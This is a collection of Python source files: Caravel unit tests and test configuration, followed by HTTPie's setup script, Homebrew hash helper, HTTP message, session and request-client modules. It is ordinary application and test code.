    def test_json_int_dttm_ser(self):
        today = date.today()
        now = datetime.now()
        ms = utils.json_int_dttm_ser(today)
        deser = (utils.EPOCH + timedelta(milliseconds=ms)).date()
        assert today == deser, "Serialization error: %s is not %s" % (str(today), str(deser))
        ms = utils.json_int_dttm_ser(now)
        deser = (utils.EPOCH + timedelta(milliseconds=ms))
        assert now == deser, "Serialization error: %s is not %s" % (str(now), str(deser))

        with self.assertRaises(TypeError):
            utils.json_int_dttm_ser("this is not a date")













"""Unit tests for Caravel"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from datetime import datetime
import doctest
import json
import imp
import os
import unittest
from mock import Mock, patch

from flask import escape
from flask_appbuilder.security.sqla import models as ab_models

import caravel
from caravel import app, db, models, utils, appbuilder, sm
from caravel.models import DruidCluster, DruidDatasource

os.environ['CARAVEL_CONFIG'] = 'tests.caravel_test_config'

app.config['TESTING'] = True
app.config['CSRF_ENABLED'] = False
app.config['SECRET_KEY'] = 'thisismyscretkey'
app.config['WTF_CSRF_ENABLED'] = False
app.config['PUBLIC_ROLE_LIKE_GAMMA'] = True
BASE_DIR = app.config.get("BASE_DIR")
cli = imp.load_source('cli', BASE_DIR + "/bin/caravel")

class CaravelTestCase(unittest.TestCase):

    def __init__(self, *args, **kwargs):
        super(CaravelTestCase, self).__init__(*args, **kwargs)
        self.client = app.test_client()

        utils.init(caravel)

        admin = appbuilder.sm.find_user('admin')
        if not admin:
            appbuilder.sm.add_user(
                'admin', 'admin',' user', 'admin@fab.org',
                appbuilder.sm.find_role('Admin'),
                password='general')

        gamma = appbuilder.sm.find_user('gamma')
        if not gamma:
            appbuilder.sm.add_user(
                'gamma', 'gamma', 'user', 'gamma@fab.org',
                appbuilder.sm.find_role('Gamma'),
                password='general')

        alpha = appbuilder.sm.find_user('alpha')
        if not alpha:
            appbuilder.sm.add_user(
                'alpha', 'alpha', 'user', 'alpha@fab.org',
                appbuilder.sm.find_role('Alpha'),
                password='general')

        utils.init(caravel)

    def login(self, username='admin', password='general'):
        resp = self.client.post(
            '/login/',
            data=dict(username=username, password=password),
            follow_redirects=True)
        assert 'Welcome' in resp.data.decode('utf-8')

    def logout(self):
        self.client.get('/logout/', follow_redirects=True)

    def test_welcome(self):
        self.login()
        resp = self.client.get('/caravel/welcome')
        assert 'Welcome' in resp.data.decode('utf-8')

    def setup_public_access_for_dashboard(self, table_name):
        public_role = appbuilder.sm.find_role('Public')
        perms = db.session.query(ab_models.PermissionView).all()
        for perm in perms:
            if (    perm.permission.name == 'datasource_access' and
                    perm.view_menu and table_name in perm.view_menu.name):
                appbuilder.sm.add_permission_role(public_role, perm)

    def revoke_public_access(self, table_name):
        public_role = appbuilder.sm.find_role('Public')
        perms = db.session.query(ab_models.PermissionView).all()
        for perm in perms:
            if (    perm.permission.name == 'datasource_access' and
                    perm.view_menu and table_name in perm.view_menu.name):
                appbuilder.sm.del_permission_role(public_role, perm)


class CoreTests(CaravelTestCase):

    def __init__(self, *args, **kwargs):
        # Load examples first, so that we setup proper permission-view relations
        # for all example data sources.
        super(CoreTests, self).__init__(*args, **kwargs)

    @classmethod
    def setUpClass(cls):
        cli.load_examples(load_test_data=True)
        utils.init(caravel)
        cls.table_ids = {tbl.table_name: tbl.id  for tbl in (
            db.session
            .query(models.SqlaTable)
            .all()
        )}

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_save_slice(self):
        self.login(username='admin')

        slc = (
            db.session.query(models.Slice.id)
            .filter_by(slice_name="Energy Sankey")
            .first())
        slice_id = slc.id

        copy_name = "Test Sankey Save"
        tbl_id = self.table_ids.get('energy_usage')
        url = "/caravel/explore/table/{}/?viz_type=sankey&groupby=source&groupby=target&metric=sum__value&row_limit=5000&where=&having=&flt_col_0=source&flt_op_0=in&flt_eq_0=&slice_id={}&slice_name={}&collapsed_fieldsets=&action={}&datasource_name=energy_usage&datasource_id=1&datasource_type=table&previous_viz_type=sankey"

        db.session.commit()
        resp = self.client.get(
            url.format(tbl_id, slice_id, copy_name, 'save'),
            follow_redirects=True)
        assert copy_name in resp.data.decode('utf-8')
        resp = self.client.get(
            url.format(tbl_id, slice_id, copy_name, 'overwrite'),
            follow_redirects=True)
        assert 'Energy' in resp.data.decode('utf-8')

    def test_slices(self):
        # Testing by hitting the two supported end points for all slices
        self.login(username='admin')
        Slc = models.Slice
        urls = []
        for slc in db.session.query(Slc).all():
            urls += [
                (slc.slice_name, 'slice_url', slc.slice_url),
                (slc.slice_name, 'json_endpoint', slc.viz.json_endpoint),
                (slc.slice_name, 'csv_endpoint', slc.viz.csv_endpoint),
            ]
        for name, method, url in urls:
            print("[{name}]/[{method}]: {url}".format(**locals()))
            self.client.get(url)

    def test_slice_id_redirects(self, username='admin'):
        def make_assertions(resp, standalone):
            decoded = resp.data.decode('utf-8')
            if standalone:
                assert "Query" not in decoded
                assert 'data-standalone="true"' in decoded

            else:
                assert "Query" in decoded
                assert 'data-standalone="true"' not in decoded

        self.login(username=username)
        slc = db.session.query(models.Slice).filter_by(slice_name="Name Cloud").first()
        get = self.client.get

        # Standard redirect
        slc_url = slc.slice_url
        id_url = '/caravel/slice/{slc.id}'.format(slc=slc)

        make_assertions(get(slc_url, follow_redirects=True), False)
        make_assertions(get(id_url, follow_redirects=True), False)

        # Explicit standalone
        slc_url_standalone = '{slc_url}&standalone=true'.format(slc_url=slc_url)
        id_url_standalone = '{id_url}?standalone=true'.format(id_url=id_url)

        make_assertions(get(slc_url_standalone, follow_redirects=True), True)
        make_assertions(get(id_url_standalone, follow_redirects=True), True)

        # Explicit not-standalone
        slc_url_notstandalone = '{slc_url}&standalone=false'.format(slc_url=slc_url)
        id_url_notstandalone = '{id_url}?standalone=false'.format(id_url=id_url)

        make_assertions(get(slc_url_notstandalone, follow_redirects=True), False)
        make_assertions(get(id_url_notstandalone, follow_redirects=True), False)

    def test_dashboard(self):
        self.login(username='admin')
        urls = {}
        for dash in db.session.query(models.Dashboard).all():
            urls[dash.dashboard_title] = dash.url
        for title, url in urls.items():
            assert escape(title) in self.client.get(url).data.decode('utf-8')

    def test_doctests(self):
        modules = [utils, models]
        for mod in modules:
            failed, tests = doctest.testmod(mod)
            if failed:
                raise Exception("Failed a doctest")

    def test_misc(self):
        assert self.client.get('/health').data.decode('utf-8') == "OK"
        assert self.client.get('/ping').data.decode('utf-8') == "OK"

    def test_shortner(self):
        self.login(username='admin')
        data = "//caravel/explore/table/1/?viz_type=sankey&groupby=source&groupby=target&metric=sum__value&row_limit=5000&where=&having=&flt_col_0=source&flt_op_0=in&flt_eq_0=&slice_id=78&slice_name=Energy+Sankey&collapsed_fieldsets=&action=&datasource_name=energy_usage&datasource_id=1&datasource_type=table&previous_viz_type=sankey"
        resp = self.client.post('/r/shortner/', data=data)
        assert '/r/' in resp.data.decode('utf-8')

    def test_save_dash(self, username='admin'):
        self.login(username=username)
        dash = db.session.query(models.Dashboard).filter_by(slug="births").first()
        positions = []
        for i, slc in enumerate(dash.slices):
            d = {
                'col': 0,
                'row': i * 4,
                'size_x': 4,
                'size_y': 4,
                'slice_id': '{}'.format(slc.id)}
            positions.append(d)
        data = {
            'css': '',
            'expanded_slices': {},
            'positions': positions,
        }
        url = '/caravel/save_dash/{}/'.format(dash.id)
        resp = self.client.post(url, data=dict(data=json.dumps(data)))
        assert "SUCCESS" in resp.data.decode('utf-8')

    def test_add_slices(self, username='admin'):
        self.login(username=username)
        dash = db.session.query(models.Dashboard).filter_by(slug="births").first()
        new_slice = db.session.query(models.Slice).filter_by(slice_name="Mapbox Long/Lat").first()
        existing_slice = db.session.query(models.Slice).filter_by(slice_name="Name Cloud").first()
        data = {
            "slice_ids": [new_slice.data["slice_id"], existing_slice.data["slice_id"]]
        }
        url = '/caravel/add_slices/{}/'.format(dash.id)
        resp = self.client.post(url, data=dict(data=json.dumps(data)))
        assert "SLICES ADDED" in resp.data.decode('utf-8')

        dash = db.session.query(models.Dashboard).filter_by(slug="births").first()
        new_slice = db.session.query(models.Slice).filter_by(slice_name="Mapbox Long/Lat").first()
        assert new_slice in dash.slices
        assert len(set(dash.slices)) == len(dash.slices)

    def test_add_slice_redirect_to_sqla(self, username='admin'):
        self.login(username=username)
        url = '/slicemodelview/add'
        resp = self.client.get(url, follow_redirects=True)
        assert "Click on a table link to create a Slice" in resp.data.decode('utf-8')

    def test_add_slice_redirect_to_druid(self, username='admin'):
        datasource = DruidDatasource(
            datasource_name="datasource_name",
        )
        db.session.add(datasource)
        db.session.commit()

        self.login(username=username)
        url = '/slicemodelview/add'
        resp = self.client.get(url, follow_redirects=True)
        assert "Click on a datasource link to create a Slice" in resp.data.decode('utf-8')

        db.session.delete(datasource)
        db.session.commit()

    def test_gamma(self):
        self.login(username='gamma')
        resp = self.client.get('/slicemodelview/list/')
        assert "List Slice" in resp.data.decode('utf-8')

        resp = self.client.get('/dashboardmodelview/list/')
        assert "List Dashboard" in resp.data.decode('utf-8')

    def run_sql(self, sql, user_name):
        self.login(username=user_name)
        dbid = (
            db.session.query(models.Database)
            .filter_by(database_name="main")
            .first().id
        )
        resp = self.client.post(
            '/caravel/sql_json/',
            data=dict(database_id=dbid, sql=sql),
        )
        self.logout()
        return json.loads(resp.data.decode('utf-8'))

    def test_sql_json_no_access(self):
        self.assertRaises(
            utils.CaravelSecurityException,
            self.run_sql, "SELECT * FROM ab_user", 'gamma')

    def test_sql_json_has_access(self):
        main_db = (
            db.session.query(models.Database).filter_by(database_name="main")
                .first()
        )
        utils.merge_perm(sm, 'database_access', main_db.perm)
        db.session.commit()
        main_db_permission_view = (
            db.session.query(ab_models.PermissionView)
                .join(ab_models.ViewMenu)
                .filter(ab_models.ViewMenu.name == '[main].(id:1)')
                .first()
        )
        astronaut = sm.add_role("Astronaut")
        sm.add_permission_role(astronaut, main_db_permission_view)
        # Astronaut role is Gamme + main db permissions
        for gamma_perm in sm.find_role('Gamma').permissions:
            sm.add_permission_role(astronaut, gamma_perm)

        gagarin = appbuilder.sm.find_user('gagarin')
        if not gagarin:
            appbuilder.sm.add_user(
                'gagarin', 'Iurii', 'Gagarin', 'gagarin@cosmos.ussr',
                appbuilder.sm.find_role('Astronaut'),
                password='general')
        data = self.run_sql('SELECT * FROM ab_user', 'gagarin')
        assert len(data['data']) > 0

    def test_sql_json(self):
        data = self.run_sql("SELECT * FROM ab_user", 'admin')
        assert len(data['data']) > 0

        data = self.run_sql("SELECT * FROM unexistant_table", 'admin')
        assert len(data['error']) > 0

    def test_public_user_dashboard_access(self):
        # Try access before adding appropriate permissions.
        self.revoke_public_access('birth_names')
        self.logout()

        resp = self.client.get('/slicemodelview/list/')
        data = resp.data.decode('utf-8')

        assert 'birth_names</a>' not in data

        resp = self.client.get('/dashboardmodelview/list/')
        data = resp.data.decode('utf-8')
        assert '/caravel/dashboard/births/' not in data

        self.setup_public_access_for_dashboard('birth_names')

        # Try access after adding appropriate permissions.
        resp = self.client.get('/slicemodelview/list/')
        data = resp.data.decode('utf-8')
        assert 'birth_names' in data

        resp = self.client.get('/dashboardmodelview/list/')
        data = resp.data.decode('utf-8')
        assert "/caravel/dashboard/births/" in data

        resp = self.client.get('/caravel/dashboard/births/')
        data = resp.data.decode('utf-8')
        assert 'Births' in data

        # Confirm that public doesn't have access to other datasets.
        resp = self.client.get('/dashboardmodelview/list/')
        data = resp.data.decode('utf-8')
        assert "/caravel/dashboard/world_health/" not in data

    def test_only_owners_can_save(self):
        dash = (
            db.session
            .query(models.Dashboard)
            .filter_by(slug="births")
            .first()
        )
        dash.owners = []
        db.session.merge(dash)
        db.session.commit()
        self.test_save_dash('admin')

        self.logout()
        self.assertRaises(
            AssertionError, self.test_save_dash, 'alpha')

        alpha = appbuilder.sm.find_user('alpha')

        dash = (
            db.session
            .query(models.Dashboard)
            .filter_by(slug="births")
            .first()
        )
        dash.owners = [alpha]
        db.session.merge(dash)
        db.session.commit()
        self.test_save_dash('alpha')

SEGMENT_METADATA = [{
  "id": "some_id",
  "intervals": [ "2013-05-13T00:00:00.000Z/2013-05-14T00:00:00.000Z" ],
  "columns": {
    "__time": {
        "type": "LONG", "hasMultipleValues": False,
        "size": 407240380, "cardinality": None, "errorMessage": None },
    "dim1": {
        "type": "STRING", "hasMultipleValues": False,
        "size": 100000, "cardinality": 1944, "errorMessage": None },
    "dim2": {
        "type": "STRING", "hasMultipleValues": True,
        "size": 100000, "cardinality": 1504, "errorMessage": None },
    "metric1": {
        "type": "FLOAT", "hasMultipleValues": False,
        "size": 100000, "cardinality": None, "errorMessage": None }
  },
  "aggregators": {
    "metric1": {
        "type": "longSum",
        "name": "metric1",
        "fieldName": "metric1" }
  },
  "size": 300000,
  "numRows": 5000000
}]

GB_RESULT_SET = [
  {
    "version": "v1",
    "timestamp": "2012-01-01T00:00:00.000Z",
    "event": {
      "name": 'Canada',
      "sum__num": 12345678,
    }
  },
  {
    "version": "v1",
    "timestamp": "2012-01-01T00:00:00.000Z",
    "event": {
      "name": 'USA',
      "sum__num": 12345678 / 2,
    }
  },
]


class DruidTests(CaravelTestCase):

    """Testing interactions with Druid"""

    def __init__(self, *args, **kwargs):
        super(DruidTests, self).__init__(*args, **kwargs)

    @patch('caravel.models.PyDruid')
    def test_client(self, PyDruid):
        self.login(username='admin')
        instance = PyDruid.return_value
        instance.time_boundary.return_value = [
            {'result': {'maxTime': '2016-01-01'}}]
        instance.segment_metadata.return_value = SEGMENT_METADATA

        cluster = (
            db.session
            .query(DruidCluster)
            .filter_by(cluster_name='test_cluster')
            .first()
        )
        if cluster:
            db.session.delete(cluster)
        db.session.commit()

        cluster = DruidCluster(
            cluster_name='test_cluster',
            coordinator_host='localhost',
            coordinator_port=7979,
            broker_host='localhost',
            broker_port=7980,
            metadata_last_refreshed=datetime.now())

        db.session.add(cluster)
        cluster.get_datasources = Mock(return_value=['test_datasource'])
        cluster.get_druid_version = Mock(return_value='0.9.1')
        cluster.refresh_datasources()
        datasource_id = cluster.datasources[0].id
        db.session.commit()

        resp = self.client.get('/caravel/explore/druid/{}/'.format(datasource_id))
        assert "[test_cluster].[test_datasource]" in resp.data.decode('utf-8')

        nres = [
            list(v['event'].items()) + [('timestamp', v['timestamp'])]
            for v in GB_RESULT_SET]
        nres = [dict(v) for v in nres]
        import pandas as pd
        df = pd.DataFrame(nres)
        instance.export_pandas.return_value = df
        instance.query_dict = {}
        instance.query_builder.last_query.query_dict = {}
        resp = self.client.get('/caravel/explore/druid/{}/?viz_type=table&granularity=one+day&druid_time_origin=&since=7+days+ago&until=now&row_limit=5000&include_search=false&metrics=count&groupby=name&flt_col_0=dim1&flt_op_0=in&flt_eq_0=&slice_id=&slice_name=&collapsed_fieldsets=&action=&datasource_name=test_datasource&datasource_id={}&datasource_type=druid&previous_viz_type=table&json=true&force=true'.format(datasource_id, datasource_id))
        assert "Canada" in resp.data.decode('utf-8')


if __name__ == '__main__':
    unittest.main()






from caravel.config import *

AUTH_USER_REGISTRATION_ROLE = 'alpha'
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(DATA_DIR, 'unittests.db')
DEBUG = True
CARAVEL_WEBSERVER_PORT = 8081

# Allowing SQLALCHEMY_DATABASE_URI to be defined as an env var for
# continuous integration
if 'CARAVEL__SQLALCHEMY_DATABASE_URI' in os.environ:
    SQLALCHEMY_DATABASE_URI = os.environ.get('CARAVEL__SQLALCHEMY_DATABASE_URI')






# This is purely the result of trial and error.

import sys
import codecs

from setuptools import setup, find_packages
from setuptools.command.test import test as TestCommand

import httpie


class PyTest(TestCommand):
    # `$ python setup.py test' simply installs minimal requirements
    # and runs the tests with no fancy stuff like parallel execution.
    def finalize_options(self):
        TestCommand.finalize_options(self)
        self.test_args = [
            '--doctest-modules', '--verbose',
            './httpie', './tests'
        ]
        self.test_suite = True

    def run_tests(self):
        import pytest
        sys.exit(pytest.main(self.test_args))


tests_require = [
    # Pytest needs to come last.
    # https://bitbucket.org/pypa/setuptools/issue/196/
    'pytest-httpbin',
    'pytest',
    'mock',
]


install_requires = [
    'requests>=2.11.0',
    'Pygments>=2.1.3'
]


# Conditional dependencies:

# sdist
if 'bdist_wheel' not in sys.argv:
    try:
        # noinspection PyUnresolvedReferences
        import argparse
    except ImportError:
        install_requires.append('argparse>=1.2.1')

    if 'win32' in str(sys.platform).lower():
        # Terminal colors for Windows
        install_requires.append('colorama>=0.2.4')


# bdist_wheel
extras_require = {
    # http://wheel.readthedocs.io/en/latest/#defining-conditional-dependencies
    ':python_version == "2.6"'
    ' or python_version == "3.0"'
    ' or python_version == "3.1" ': ['argparse>=1.2.1'],
    ':sys_platform == "win32"': ['colorama>=0.2.4'],
}


def long_description():
    with codecs.open('README.rst', encoding='utf8') as f:
        return f.read()

setup(
    name='httpie',
    version=httpie.__version__,
    description=httpie.__doc__.strip(),
    long_description=long_description(),
    url='http://httpie.org/',
    download_url='https://github.com/jkbrzt/httpie',
    author=httpie.__author__,
    author_email='jakub@roztocil.co',
    license=httpie.__licence__,
    packages=find_packages(),
    entry_points={
        'console_scripts': [
            'http = httpie.__main__:main',
        ],
    },
    extras_require=extras_require,
    install_requires=install_requires,
    tests_require=tests_require,
    cmdclass={'test': PyTest},
    classifiers=[
        'Development Status :: 5 - Production/Stable',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.1',
        'Programming Language :: Python :: 3.2',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',
        'Environment :: Console',
        'Intended Audience :: Developers',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: BSD License',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Software Development',
        'Topic :: System :: Networking',
        'Topic :: Terminals',
        'Topic :: Text Processing',
        'Topic :: Utilities'
    ],
)






#!/usr/bin/env python
"""
Generate URLs and file hashes to be included in the Homebrew formula
after a new release of HTTPie is published on PyPi.

https://github.com/Homebrew/homebrew-core/blob/master/Formula/httpie.rb

"""
import hashlib
import requests


PACKAGES = [
    'httpie',
    'requests',
    'pygments',
]


def get_info(package_name):
    api_url = 'https://pypi.python.org/pypi/{}/json'.format(package_name)
    resp = requests.get(api_url).json()
    hasher = hashlib.sha256()
    for release in resp['urls']:
        download_url = release['url']
        if download_url.endswith('.tar.gz'):
            hasher.update(requests.get(download_url).content)
            return {
                'name': package_name,
                'url': download_url,
                'sha256': hasher.hexdigest(),
            }
    else:
        raise RuntimeError(
            '{}: download not found: {}'.format(package_name, resp))


packages = {
    package_name: get_info(package_name) for package_name in PACKAGES
}


httpie_info = packages.pop('httpie')
print("""
  url "{url}"
  sha256 "{sha256}"
""".format(**httpie_info))


for package_info in packages.values():
    print("""
  resource "{name}" do
    url "{url}"
    sha256 "{sha256}"
  end""".format(**package_info))






from httpie.compat import urlsplit, str


class HTTPMessage(object):
    """Abstract class for HTTP messages."""

    def __init__(self, orig):
        self._orig = orig

    def iter_body(self, chunk_size):
        """Return an iterator over the body."""
        raise NotImplementedError()

    def iter_lines(self, chunk_size):
        """Return an iterator over the body yielding (`line`, `line_feed`)."""
        raise NotImplementedError()

    @property
    def headers(self):
        """Return a `str` with the message's headers."""
        raise NotImplementedError()

    @property
    def encoding(self):
        """Return a `str` with the message's encoding, if known."""
        raise NotImplementedError()

    @property
    def body(self):
        """Return a `bytes` with the message's body."""
        raise NotImplementedError()

    @property
    def content_type(self):
        """Return the message content type."""
        ct = self._orig.headers.get('Content-Type', '')
        if not isinstance(ct, str):
            ct = ct.decode('utf8')
        return ct


class HTTPResponse(HTTPMessage):
    """A :class:`requests.models.Response` wrapper."""

    def iter_body(self, chunk_size=1):
        return self._orig.iter_content(chunk_size=chunk_size)

    def iter_lines(self, chunk_size):
        return ((line, b'\n') for line in self._orig.iter_lines(chunk_size))

    # noinspection PyProtectedMember
    @property
    def headers(self):
        original = self._orig.raw._original_response

        version = {
            9: '0.9',
            10: '1.0',
            11: '1.1',
            20: '2',
        }[original.version]

        status_line = 'HTTP/{version} {status} {reason}'.format(
            version=version,
            status=original.status,
            reason=original.reason
        )
        headers = [status_line]
        try:
            # `original.msg` is a `http.client.HTTPMessage` on Python 3
            # `_headers` is a 2-tuple
            headers.extend(
                '%s: %s' % header for header in original.msg._headers)
        except AttributeError:
            # and a `httplib.HTTPMessage` on Python 2.x
            # `headers` is a list of `name: val<CRLF>`.
            headers.extend(h.strip() for h in original.msg.headers)

        return '\r\n'.join(headers)

    @property
    def encoding(self):
        return self._orig.encoding or 'utf8'

    @property
    def body(self):
        # Only now the response body is fetched.
        # Shouldn't be touched unless the body is actually needed.
        return self._orig.content


class HTTPRequest(HTTPMessage):
    """A :class:`requests.models.Request` wrapper."""

    def iter_body(self, chunk_size):
        yield self.body

    def iter_lines(self, chunk_size):
        yield self.body, b''

    @property
    def headers(self):
        url = urlsplit(self._orig.url)

        request_line = '{method} {path}{query} HTTP/1.1'.format(
            method=self._orig.method,
            path=url.path or '/',
            query='?' + url.query if url.query else ''
        )

        headers = dict(self._orig.headers)
        if 'Host' not in self._orig.headers:
            headers['Host'] = url.netloc.split('@')[-1]

        headers = [
            '%s: %s' % (
                name,
                value if isinstance(value, str) else value.decode('utf8')
            )
            for name, value in headers.items()
        ]

        headers.insert(0, request_line)
        headers = '\r\n'.join(headers).strip()

        if isinstance(headers, bytes):
            # Python < 3
            headers = headers.decode('utf8')
        return headers

    @property
    def encoding(self):
        return 'utf8'

    @property
    def body(self):
        body = self._orig.body
        if isinstance(body, str):
            # Happens with JSON/form request data parsed from the command line.
            body = body.encode('utf8')
        return body or b''






"""Persistent, JSON-serialized sessions.

"""
import re
import os

from requests.cookies import RequestsCookieJar, create_cookie

from httpie.compat import urlsplit
from httpie.config import BaseConfigDict, DEFAULT_CONFIG_DIR
from httpie.plugins import plugin_manager


SESSIONS_DIR_NAME = 'sessions'
DEFAULT_SESSIONS_DIR = os.path.join(DEFAULT_CONFIG_DIR, SESSIONS_DIR_NAME)
VALID_SESSION_NAME_PATTERN = re.compile('^[a-zA-Z0-9_.-]+$')
# Request headers starting with these prefixes won't be stored in sessions.
# They are specific to each request.
# http://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Requests
SESSION_IGNORED_HEADER_PREFIXES = ['Content-', 'If-']


def get_response(requests_session, session_name,
                 config_dir, args, read_only=False):
    """Like `client.get_responses`, but applies permanent
    aspects of the session to the request.

    """
    from .client import get_requests_kwargs, dump_request
    if os.path.sep in session_name:
        path = os.path.expanduser(session_name)
    else:
        hostname = (args.headers.get('Host', None) or
                    urlsplit(args.url).netloc.split('@')[-1])
        if not hostname:
            # HACK/FIXME: httpie-unixsocket's URLs have no hostname.
            hostname = 'localhost'

        # host:port => host_port
        hostname = hostname.replace(':', '_')
        path = os.path.join(config_dir,
                            SESSIONS_DIR_NAME,
                            hostname,
                            session_name + '.json')

    session = Session(path)
    session.load()

    kwargs = get_requests_kwargs(args, base_headers=session.headers)
    if args.debug:
        dump_request(kwargs)
    session.update_headers(kwargs['headers'])

    if args.auth:
        session.auth = {
            'type': args.auth_type,
            'username': args.auth.key,
            'password': args.auth.value,
        }
    elif session.auth:
        kwargs['auth'] = session.auth

    requests_session.cookies = session.cookies

    try:
        response = requests_session.request(**kwargs)
    except Exception:
        raise
    else:
        # Existing sessions with `read_only=True` don't get updated.
        if session.is_new() or not read_only:
            session.cookies = requests_session.cookies
            session.save()
        return response


class Session(BaseConfigDict):
    helpurl = 'https://github.com/jkbrzt/httpie#sessions'
    about = 'HTTPie session file'

    def __init__(self, path, *args, **kwargs):
        super(Session, self).__init__(*args, **kwargs)
        self._path = path
        self['headers'] = {}
        self['cookies'] = {}
        self['auth'] = {
            'type': None,
            'username': None,
            'password': None
        }

    def _get_path(self):
        return self._path

    def update_headers(self, request_headers):
        """
        Update the session headers with the request ones while ignoring
        certain name prefixes.

        :type request_headers: dict

        """
        for name, value in request_headers.items():

            if value is None:
                continue  # Ignore explicitely unset headers

            value = value.decode('utf8')
            if name == 'User-Agent' and value.startswith('HTTPie/'):
                continue

            for prefix in SESSION_IGNORED_HEADER_PREFIXES:
                if name.lower().startswith(prefix.lower()):
                    break
            else:
                self['headers'][name] = value

    @property
    def headers(self):
        return self['headers']

    @property
    def cookies(self):
        jar = RequestsCookieJar()
        for name, cookie_dict in self['cookies'].items():
            jar.set_cookie(create_cookie(
                name, cookie_dict.pop('value'), **cookie_dict))
        jar.clear_expired_cookies()
        return jar

    @cookies.setter
    def cookies(self, jar):
        """
        :type jar: CookieJar
        """
        # http://docs.python.org/2/library/cookielib.html#cookie-objects
        stored_attrs = ['value', 'path', 'secure', 'expires']
        self['cookies'] = {}
        for cookie in jar:
            self['cookies'][cookie.name] = dict(
                (attname, getattr(cookie, attname))
                for attname in stored_attrs
            )

    @property
    def auth(self):
        auth = self.get('auth', None)
        if not auth or not auth['type']:
            return
        auth_plugin = plugin_manager.get_auth_plugin(auth['type'])()
        return auth_plugin.get_auth(auth['username'], auth['password'])

    @auth.setter
    def auth(self, auth):
        assert set(['type', 'username', 'password']) == set(auth.keys())
        self['auth'] = auth






import json
import sys

import requests
from requests.adapters import HTTPAdapter
from requests.packages import urllib3

from httpie import sessions
from httpie import __version__
from httpie.compat import str
from httpie.input import SSL_VERSION_ARG_MAPPING
from httpie.plugins import plugin_manager
from httpie.utils import repr_dict_nice

try:
    # https://urllib3.readthedocs.io/en/latest/security.html
    urllib3.disable_warnings()
except AttributeError:
    # In some rare cases, the user may have an old version of the requests
    # or urllib3, and there is no method called "disable_warnings." In these
    # cases, we don't need to call the method.
    # They may get some noisy output but execution shouldn't die. Move on.
    pass


FORM_CONTENT_TYPE = 'application/x-www-form-urlencoded; charset=utf-8'
JSON_CONTENT_TYPE = 'application/json'
JSON_ACCEPT = '{0}, */*'.format(JSON_CONTENT_TYPE)
DEFAULT_UA = 'HTTPie/%s' % __version__


class HTTPieHTTPAdapter(HTTPAdapter):

    def __init__(self, ssl_version=None, **kwargs):
        self._ssl_version = ssl_version
        super(HTTPieHTTPAdapter, self).__init__(**kwargs)

    def init_poolmanager(self, *args, **kwargs):
        kwargs['ssl_version'] = self._ssl_version
        super(HTTPieHTTPAdapter, self).init_poolmanager(*args, **kwargs)


def get_requests_session(ssl_version):
    requests_session = requests.Session()
    requests_session.mount(
        'https://',
        HTTPieHTTPAdapter(ssl_version=ssl_version)
    )
    for cls in plugin_manager.get_transport_plugins():
        transport_plugin = cls()
        requests_session.mount(prefix=transport_plugin.prefix,
                               adapter=transport_plugin.get_adapter())
    return requests_session


def get_response(args, config_dir):
    """Send the request and return a `request.Response`."""

    ssl_version = None
    if args.ssl_version:
        ssl_version = SSL_VERSION_ARG_MAPPING[args.ssl_version]

    requests_session = get_requests_session(ssl_version)
    requests_session.max_redirects = args.max_redirects

    if not args.session and not args.session_read_only:
        kwargs = get_requests_kwargs(args)
        if args.debug:
            dump_request(kwargs)
        response = requests_session.request(**kwargs)
    else:
        response = sessions.get_response(
            requests_session=requests_session,
            args=args,
            config_dir=config_dir,
            session_name=args.session or args.session_read_only,
            read_only=bool(args.session_read_only),
        )

    return response


def dump_request(kwargs):
    sys.stderr.write('\n>>> requests.request(**%s)\n\n'
                     % repr_dict_nice(kwargs))


def finalize_headers(headers):
    final_headers = {}
    for name, value in headers.items():
        if value is not None:

            # >leading or trailing LWS MAY be removed without
            # >changing the semantics of the field value"
            # -https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html
            # Also, requests raises `InvalidHeader` for leading spaces.
            value = value.strip()

            if isinstance(value, str):
                # See: https://github.com/jkbrzt/httpie/issues/212
                value = value.encode('utf8')

        final_headers[name] = value
    return final_headers


def get_default_headers(args):
    default_headers = {
        'User-Agent': DEFAULT_UA
    }

    auto_json = args.data and not args.form
    if args.json or auto_json:
        default_headers['Accept'] = JSON_ACCEPT
        if args.json or (auto_json and args.data):
            default_headers['Content-Type'] = JSON_CONTENT_TYPE

    elif args.form and not args.files:
        # If sending files, `requests` will set
        # the `Content-Type` for us.
        default_headers['Content-Type'] = FORM_CONTENT_TYPE
    return default_headers


def get_requests_kwargs(args, base_headers=None):
    """
    Translate our `args` into `requests.request` keyword arguments.

    """
    # Serialize JSON data, if needed.
    data = args.data
    auto_json = data and not args.form
    if (args.json or auto_json) and isinstance(data, dict):
        if data:
            data = json.dumps(data)
        else:
            # We need to set data to an empty string to prevent requests
            # from assigning an empty list to `response.request.data`.
            data = ''

    # Finalize headers.
    headers = get_default_headers(args)
    if base_headers:
        headers.update(base_headers)
    headers.update(args.headers)
    headers = finalize_headers(headers)

    credentials = None
    if args.auth:
        auth_plugin = plugin_manager.get_auth_plugin(args.auth_type)()
        credentials = auth_plugin.get_auth(args.auth.key, args.auth.value)

    cert = None
    if args.cert:
        cert = args.cert
        if args.cert_key:
            cert = cert, args.cert_key

    kwargs = {
        'stream': True,
        'method': args.method.lower(),
        'url': args.url,
        'headers': headers,
        'data': data,
        'verify': {
            'yes': True,
            'no': False
        }.get(args.verify, args.verify),
        'cert': cert,
        'timeout': args.timeout,
        'auth': credentials,
        'proxies': dict((p.key, p.value) for p in args.proxy),
        'files': args.files,
        'allow_redirects': args.follow,
        'params': args.params,
    }

    return kwargs






#!/usr/bin/env python
"""The main entry point. Invoke as `http' or `python -m httpie'.

"""
import sys
from .core import main


if __name__ == '__main__':
    sys.exit(main())






import sys

from httpie.compat import is_windows
from httpie.config import DEFAULT_CONFIG_DIR, Config

from httpie.utils import repr_dict_nice


class Environment(object):
    """
    Information about the execution context
    (standard streams, config directory, etc).

    By default, it represents the actual environment.
    All of the attributes can be overwritten though, which
    is used by the test suite to simulate various scenarios.

    """
    is_windows = is_windows
